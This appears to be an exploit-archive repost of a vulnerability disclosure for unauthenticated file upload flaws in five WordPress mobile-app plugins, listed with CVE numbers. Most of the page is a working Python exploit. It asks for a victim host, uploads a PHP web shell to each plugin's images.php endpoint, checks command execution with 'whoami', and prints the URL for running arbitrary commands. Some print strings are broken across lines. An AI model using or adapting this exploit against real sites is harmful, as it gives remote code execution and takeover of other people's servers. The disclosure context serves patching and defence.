Home / os / solaris

WordPress Multiple Plugins - Remote File Upload

Posted on 30 November -0001

<HTML><HEAD><TITLE>WordPress Multiple Plugins - Remote File Upload</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>I'd like to report multiple remote file upload vulnerabilities on five plugins, attached is the PoC exploit and screenshot ; It was done on a replicated environment with the latest version of the plugins not live site: 

1. Zen App Mobile Native <=3.0 (CVE-2017-6104)
2. Wordpress Plugin webapp-builder v2.0 (CVE-2017-1002002)
3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4 CVE-2017-1002003)
4.Wordpress Plugin mobile-app-builder-by-wappress v1.05 CVE-2017-1002001)
5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0 (CVE-2017-1002000)

=====================================================

import requests
import random
import string
print "---------------------------------------------------------------------"
print "Multiple  Wordpress Plugin - Remote File Upload Exploit
Discovery: Larry W. Cashdollar
Exploit Author: Munir Njiru
CWE: 434

1. Zen App Mobile Native <=3.0 (CVE-2017-6104)
2. Wordpress Plugin webapp-builder v2.0 (CVE-2017-1002002)
3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4 CVE-2017-1002003)
4.Wordpress Plugin mobile-app-builder-by-wappress v1.05 CVE-2017-1002001)
5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0 (CVE-2017-1002000)

Reference URLs:
http://www.vapidlabs.com/advisory.php?v=178
http://www.vapidlabs.com/advisory.php?v=179
http://www.vapidlabs.com/advisory.php?v=180
http://www.vapidlabs.com/advisory.php?v=181
http://www.vapidlabs.com/advisory.php?v=182"
print "---------------------------------------------------------------------"
victim = raw_input("Please Enter victim host e.g. http://example.com: ")
plug_choice=raw_input ("
 Please choose a number representing the plugin to attack: 
1. Zen App Mobile Native <=3.0
2. Wordpress Plugin webapp-builder v2.0
3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4
4.Wordpress Plugin mobile-app-builder-by-wappress v1.05
5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0
")
if plug_choice=="1":
	plugin="zen-mobile-app-native"
elif plug_choice=="2":
	plugin="webapp-builder"
elif plug_choice=="3":
	plugin="wp2android-turn-wp-site-into-android-app"
elif plug_choice=="4":
	plugin="mobile-app-builder-by-wappress"
elif plug_choice=="5":
	plugin="mobile-friendly-app-builder-by-easytouch"
else:
	print "Invalid Plugin choice, I will now exit"
	quit()	
slug = "/wp-content/plugins/"+plugin+"/server/images.php"
target=victim+slug
def definShell(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

shellName= definShell()+".php"

def checkExistence():
	litmusTest = requests.get(target)
	litmusState = litmusTest.status_code
	if litmusState == 200:
		print "
Testing if vulnerable script is available
I can reach the target & it seems vulnerable, I will attempt the exploit
Running exploit..."
		exploit()
	else:
		print "Target has a funny code & might not be vulnerable, I will now exit
"
		quit()
	
def exploit():
	print "
Generating Payload: "+shellName+"
"
	myShell = {'file': (shellName, '<?php echo system($_GET['alien']); ?>')}
	shellEmUp = requests.post(target, files=myShell)
	respShell = shellEmUp.text
	cleanURL = respShell.replace("http://example.com/",victim+"/wp-content/plugins/"+plugin+"/")
	shellLoc = cleanURL.replace(" ", "")
	print "Confirming shell upload by printing current user
"
	shellTest=requests.get(shellLoc+"?alien=whoami")
	webserverUser=shellTest.text
	if webserverUser == "":
		print "I can't run the command can you try manually on the browser: 
"+shellLoc+"?alien=whoami"
		quit()
	else:
		print "The current webserver user is: "+webserverUser+"
"
		print "Shell Can be controlled from the browser by running :
"+shellLoc+"?alien=command"
		quit()

if __name__ == "__main__":
	checkExistence()
</BODY></HTML>

 

TOP

Malware :

Exploits :